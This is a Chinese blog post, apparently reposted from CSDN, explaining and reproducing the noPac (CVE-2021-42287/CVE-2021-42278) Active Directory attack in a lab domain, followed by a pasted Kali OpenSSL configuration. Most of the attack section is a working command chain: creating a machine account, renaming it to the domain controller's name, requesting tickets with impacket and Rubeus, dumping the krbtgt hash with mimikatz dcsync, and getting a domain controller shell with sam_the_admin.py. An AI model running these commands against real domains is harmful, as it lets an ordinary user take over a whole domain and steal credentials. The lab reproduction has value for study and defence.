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nopac 原理及复现

nopac 复现

CVE-2021-42287/CVE-2021-42278

​ CVE-2021-42287/CVE-2021-42278该漏洞被命名为 saMAccountName spoofing 漏洞。该漏洞允许攻击者在仅有一个普通域账号的场景下，利用该漏洞接管全域。

原理

​ 在Kerberos认证的过程中，处理UserName字段时，如果找不找不到UserName字段（这里的UserName字段可以理解为samAccountName的值），KDC就会去查找UserName$。但是在Kerberos认证中负责用户身份权限的数据块是PAC，正常流程下在TGS阶段的PAC是拷贝AS阶段的（如果是修改samAccountName值的域用户去申请的PAC，在TGS阶段去申请ST时的PAC还是之前用户的，是没有办法成功利用的），所以这里就需要利用到S4U2Self请求，利用S4U2Self的特性，在TGS阶段的时候会根据S4U2Self协议中模拟的用户生成对应的PAC（绕过了TGS阶段的PAC是拷贝AS阶段的校验），放在ST票据中，即可拿着该ST去访问域控。

利用方法

​ 在拥有一个域用户账号密码的情况下，通过修改samAccountName属性为域控机器名，使用该用户去申请一张带有Pac的tgt，在将该用户的samAccountName属性修改成原来的值(或者其他的都可以)，最后再利用S4U2Self协议去请求访问域控制器获取该服务的ST票据。

复现1

攻击流程

  • 创建一个机器账户，可以使用impacket中的addcomputer.py或者是pwermad（addcomputer.py利用的是SAMR协议创建机器账户，创建好的机器账户没有注册SPN的，所以可以不用清除SPN） - 使用pwermad则需要清除servicePrincipalName属性
  • 将机器账户的sAMAccountName更改为DC的机器名
  • 使用机器账户向域控请求TGT
  • 将机器账户的sAMAccountName还原或者修改成其他名称
  • 通过S4U2self协议向域控请求ST
  • DCsync

使用impacket中的addcomputer.py 创建一个机器用户

python3 addcomputer.py -computer-name '9z1nc' -computer-pass '9z1nc' -dc-ip 192.168.3.21 'god.com/mary:admin!@#45' -method SAMR -debug

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在这里插入图片描述

将机器账户9z1nc$的sAMAccountName更改为DC的机器名（OWA2010CN-GOD）

这里有个错误应该是将创建的9z1nc$改成OWA2010CN-GOD,下面的演示都是改回来了的，就不贴图了

python3 renameMachine.py -current-name '9z1nc$' -new-name 'OWA2010CN-god' -dc-ip 192.168.3.21 'god.com/mary:admin!@#45'

在这里插入图片描述

在这里插入图片描述

renameMachine.py

https://gist.githubusercontent.com/snovvcrash/3bf1a771ea6b376d374facffa9e43383/raw/d4191e295c96bc1cfb0a54b18cfbb8b21d25b483/renameMachine.py

上面该错的地方 将OWA2010CN修改成OWA2010CN-GOD（OWA2010CN-GOD才是域控主机名）

在这里插入图片描述

使用机器账户OWA2010CN-GOD向域控请求TGT，在当前路径下生成OWA2010CN-god.ccache票据

getTGT.py -dc-ip '192.168.3.21' 'god.org'/'OWA2010CN-god':'9z1nc'

在这里插入图片描述

将机器账户的sAMAccountName还原或者修改成其他名称

python3 renameMachine.py -current-name 'OWA2010CN-God' -new-name '9z1nc$' -dc-ip 192.168.3.21 'god.com/mary:admin!@#45'

在这里插入图片描述

在这里插入图片描述

利用getST.py 通过S4U2self协议向域控请求ST(这里getST.py一直报错，暂时没找到解决办法换了一个工具)

export KRB5CCNAME=/root/impacket-0.9.24/examples/OWA2010CN-god.ccache

getST.py -self -impersonate 'administrator' -altservice 'CIFS/OWA2010CN-God.god.org' -k -no-pass -dc-ip 192.168.3.21 'god.org'/'OWA2010CN-God' -debug

在这里插入图片描述

**利用Rubeus.exe
**

利用改过samAccountName用户名向域控制器请求带有PAC的正常的TGT

Rubeus.exe asktgt /user:"OWA2010CN-god" /password:"9z1nc" /domain:"god.org" /dc:"owa2010cn-god.god.org" /nowrap /ptt

这里使用的是上面的脚本将名字修改回去
python3 renameMachine.py -current-name 'OWA2010CN-God' -new-name '9z1nc$' -dc-ip 192.168.3.21 'god.com/mary:admin!@#45'

在这里插入图片描述

通过S4U2self协议向域控请求ST

使用这个带有PAC的正常的TGT，利用S4u2Self协议请求访问ldap/owa2010cn-god的ST服务票据

Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/owa2010cn-god.god.org"
 /dc:"owa2010cn-god.god.org" /ptt /ticket:上一步打印出来的TGT（需要处理换行符）

在这里插入图片描述

DCsync

使用mimikatz的dcsync导出krbtgt hash
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"

在这里插入图片描述

复现2 利用sam_the_admin.py脚本

github 项目地址

https://github.com/WazeHell/sam-the-admin

使用下面的命令直接打就行了

python3 sam_the_admin.py "god/mary:admin\!@#45" -dc-ip 192.168.3.21 -shell

返回域控的shell

在这里插入图片描述

ps：使用该脚本的时候报错：

unsupported hash type MD4

解决办法：修改 /etc/ssl/openssl.cnf配置文件

配置内容如下：

#
# OpenSSL configuration file. Forked by Kali.
# This is mostly being used for generation of certificate requests.
#

# This definition stops the following lines choking if HOME isn't
# defined.
HOME            = .

# Extra OBJECT IDENTIFIER info:
#oid_file        = $ENV::HOME/.oid
oid_section        = new_oids

# System default
openssl_conf = default_conf

# Note that you can include other files from the main configuration
# file using the .include directive.
.include /etc/ssl/kali.cnf

# To use this configuration file with the "-extfile" option of the
# "openssl x509" utility, name here the section containing the
# X.509v3 extensions to use:
# extensions        =
# (Alternatively, use a configuration file that has only
# X.509v3 extensions in its main [= default] section.)

[ new_oids ]

# We can add new OIDs in here for use by 'ca', 'req' and 'ts'.
# Add a simple OID like this:
# testoid1=1.2.3.4
# Or use config file substitution like this:
# testoid2=${testoid1}.5.6

# Policies used by the TSA examples.
tsa_policy1 = 1.2.3.4.1
tsa_policy2 = 1.2.3.4.5.6
tsa_policy3 = 1.2.3.4.5.7

####################################################################
[ ca ]
default_ca    = CA_default        # The default ca section

####################################################################
[ CA_default ]

dir        = ./demoCA        # Where everything is kept
certs        = $dir/certs        # Where the issued certs are kept
crl_dir        = $dir/crl        # Where the issued crl are kept
database    = $dir/index.txt    # database index file.
#unique_subject    = no            # Set to 'no' to allow creation of
                    # several certs with same subject.
new_certs_dir    = $dir/newcerts        # default place for new certs.

certificate    = $dir/cacert.pem     # The CA certificate
serial        = $dir/serial         # The current serial number
crlnumber    = $dir/crlnumber    # the current crl number
                    # must be commented out to leave a V1 CRL
crl        = $dir/crl.pem         # The current CRL
private_key    = $dir/private/cakey.pem# The private key

x509_extensions    = usr_cert        # The extensions to add to the cert

# Comment out the following two lines for the "traditional"
# (and highly broken) format.
name_opt     = ca_default        # Subject Name options
cert_opt     = ca_default        # Certificate field options

# Extension copying option: use with caution.
# copy_extensions = copy

# Extensions to add to a CRL. Note: Netscape communicator chokes on V2 CRLs
# so this is commented out by default to leave a V1 CRL.
# crlnumber must also be commented out to leave a V1 CRL.
# crl_extensions    = crl_ext

default_days    = 365            # how long to certify for
default_crl_days= 30            # how long before next CRL
default_md    = default        # use public key default MD
preserve    = no            # keep passed DN ordering

# A few difference way of specifying how similar the request should look
# For type CA, the listed attributes must be the same, and the optional
# and supplied fields are just that :-)
policy        = policy_match

# For the CA policy
[ policy_match ]
countryName        = match
stateOrProvinceName    = match
organizationName    = match
organizationalUnitName    = optional
commonName        = supplied
emailAddress        = optional

# For the 'anything' policy
# At this point in time, you must list all acceptable 'object'
# types.
[ policy_anything ]
countryName        = optional
stateOrProvinceName    = optional
localityName        = optional
organizationName    = optional
organizationalUnitName    = optional
commonName        = supplied
emailAddress        = optional

####################################################################
[ req ]
default_bits        = 2048
default_keyfile     = privkey.pem
distinguished_name    = req_distinguished_name
attributes        = req_attributes
x509_extensions    = v3_ca    # The extensions to add to the self signed cert

# Passwords for private keys if not present they will be prompted for
# input_password = secret
# output_password = secret

# This sets a mask for permitted string types. There are several options.
# default: PrintableString, T61String, BMPString.
# pkix     : PrintableString, BMPString (PKIX recommendation before 2004)
# utf8only: only UTF8Strings (PKIX recommendation after 2004).
# nombstr : PrintableString, T61String (no BMPStrings or UTF8Strings).
# MASK:XXXX a literal mask value.
# WARNING: ancient versions of Netscape crash on BMPStrings or UTF8Strings.
string_mask = utf8only

# req_extensions = v3_req # The extensions to add to a certificate request

[ req_distinguished_name ]
countryName            = Country Name (2 letter code)
countryName_default        = AU
countryName_min            = 2
countryName_max            = 2

stateOrProvinceName        = State or Province Name (full name)
stateOrProvinceName_default    = Some-State

localityName            = Locality Name (eg, city)

0.organizationName        = Organization Name (eg, company)
0.organizationName_default    = Internet Widgits Pty Ltd

# we can do this but it is not needed normally :-)
#1.organizationName        = Second Organization Name (eg, company)
#1.organizationName_default    = World Wide Web Pty Ltd

organizationalUnitName        = Organizational Unit Name (eg, section)
#organizationalUnitName_default    =

commonName            = Common Name (e.g. server FQDN or YOUR name)
commonName_max            = 64

emailAddress            = Email Address
emailAddress_max        = 64

# SET-ex3            = SET extension number 3

[ req_attributes ]
challengePassword        = A challenge password
challengePassword_min        = 4
challengePassword_max        = 20

unstructuredName        = An optional company name

[ usr_cert ]

# These extensions are added when 'ca' signs a request.

# This goes against PKIX guidelines but some CAs do it and some software
# requires this to avoid interpreting an end user certificate as a CA.

basicConstraints=CA:FALSE

# Here are some examples of the usage of nsCertType. If it is omitted
# the certificate can be used for anything *except* object signing.

# This is OK for an SSL server.
# nsCertType            = server

# For an object signing certificate this would be used.
# nsCertType = objsign

# For normal client use this is typical
# nsCertType = client, email

# and for everything including object signing:
# nsCertType = client, email, objsign

# This is typical in keyUsage for a client certificate.
# keyUsage = nonRepudiation, digitalSignature, keyEncipherment

# This will be displayed in Netscape's comment listbox.
nsComment            = "OpenSSL Generated Certificate"

# PKIX recommendations harmless if included in all certificates.
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid,issuer

# This stuff is for subjectAltName and issuerAltname.
# Import the email address.
# subjectAltName=email:copy
# An alternative to produce certificates that aren't
# deprecated according to PKIX.
# subjectAltName=email:move

# Copy subject details
# issuerAltName=issuer:copy

#nsCaRevocationUrl        = http://www.domain.dom/ca-crl.pem
#nsBaseUrl
#nsRevocationUrl
#nsRenewalUrl
#nsCaPolicyUrl
#nsSslServerName

# This is required for TSA certificates.
# extendedKeyUsage = critical,timeStamping

[ v3_req ]

# Extensions to add to a certificate request

basicConstraints = CA:FALSE
keyUsage = nonRepudiation, digitalSignature, keyEncipherment

[ v3_ca ]

# Extensions for a typical CA

# PKIX recommendation.

subjectKeyIdentifier=hash

authorityKeyIdentifier=keyid:always,issuer

basicConstraints = critical,CA:true

# Key usage: this is typical for a CA certificate. However since it will
# prevent it being used as an test self-signed certificate it is best
# left out by default.
# keyUsage = cRLSign, keyCertSign

# Some might want this also
# nsCertType = sslCA, emailCA

# Include email address in subject alt name: another PKIX recommendation
# subjectAltName=email:copy
# Copy issuer details
# issuerAltName=issuer:copy

# DER hex encoding of an extension: beware experts only!
# obj=DER:02:03
# Where 'obj' is a standard or added object
# You can even override a supported extension:
# basicConstraints= critical, DER:30:03:01:01:FF

[ crl_ext ]

# CRL extensions.
# Only issuerAltName and authorityKeyIdentifier make any sense in a CRL.

# issuerAltName=issuer:copy
authorityKeyIdentifier=keyid:always

[ proxy_cert_ext ]
# These extensions should be added when creating a proxy certificate

# This goes against PKIX guidelines but some CAs do it and some software
# requires this to avoid interpreting an end user certificate as a CA.

basicConstraints=CA:FALSE

# Here are some examples of the usage of nsCertType. If it is omitted
# the certificate can be used for anything *except* object signing.

# This is OK for an SSL server.
# nsCertType            = server

# For an object signing certificate this would be used.
# nsCertType = objsign

# For normal client use this is typical
# nsCertType = client, email

# and for everything including object signing:
# nsCertType = client, email, objsign

# This is typical in keyUsage for a client certificate.
# keyUsage = nonRepudiation, digitalSignature, keyEncipherment

# This will be displayed in Netscape's comment listbox.
nsComment            = "OpenSSL Generated Certificate"

# PKIX recommendations harmless if included in all certificates.
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid,issuer

# This stuff is for subjectAltName and issuerAltname.
# Import the email address.
# subjectAltName=email:copy
# An alternative to produce certificates that aren't
# deprecated according to PKIX.
# subjectAltName=email:move

# Copy subject details
# issuerAltName=issuer:copy

#nsCaRevocationUrl        = http://www.domain.dom/ca-crl.pem
#nsBaseUrl
#nsRevocationUrl
#nsRenewalUrl
#nsCaPolicyUrl
#nsSslServerName

# This really needs to be in place for it to be a proxy certificate.
proxyCertInfo=critical,language:id-ppl-anyLanguage,pathlen:3,policy:foo

####################################################################
[ tsa ]

default_tsa = tsa_config1    # the default TSA section

[ tsa_config1 ]

# These are used by the TSA reply generation only.
dir        = ./demoCA        # TSA root directory
serial        = $dir/tsaserial    # The current serial number (mandatory)
crypto_device    = builtin        # OpenSSL engine to use for signing
signer_cert    = $dir/tsacert.pem     # The TSA signing certificate
                    # (optional)
certs        = $dir/cacert.pem    # Certificate chain to include in reply
                    # (optional)
signer_key    = $dir/private/tsakey.pem # The TSA private key (optional)
signer_digest  = sha256            # Signing digest to use. (Optional)
default_policy    = tsa_policy1        # Policy if request did not specify it
                    # (optional)
other_policies    = tsa_policy2, tsa_policy3    # acceptable policies (optional)
digests     = sha1, sha256, sha384, sha512  # Acceptable message digests (mandatory)
accuracy    = secs:1, millisecs:500, microsecs:100    # (optional)
clock_precision_digits  = 0    # number of digits after dot. (optional)
ordering        = yes    # Is ordering defined for timestamps?
                # (optional, default: no)
tsa_name        = yes    # Must the TSA name be included in the reply?
                # (optional, default: no)
ess_cert_id_chain    = no    # Must the ESS cert id chain be included?
                # (optional, default: no)
ess_cert_id_alg        = sha1    # algorithm to compute certificate
                # identifier (optional, default: sha1)
[default_conf]
ssl_conf = ssl_sect
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1

[ssl_sect]
system_default = kali_wide_compatibility

[system_default_sect]
MinProtocol = TLSv1.2
CipherString = DEFAULT@SECLEVEL=2
标签： 安全 网络
本文转载自: https://blog.csdn.net/weixin_44747030/article/details/127158385
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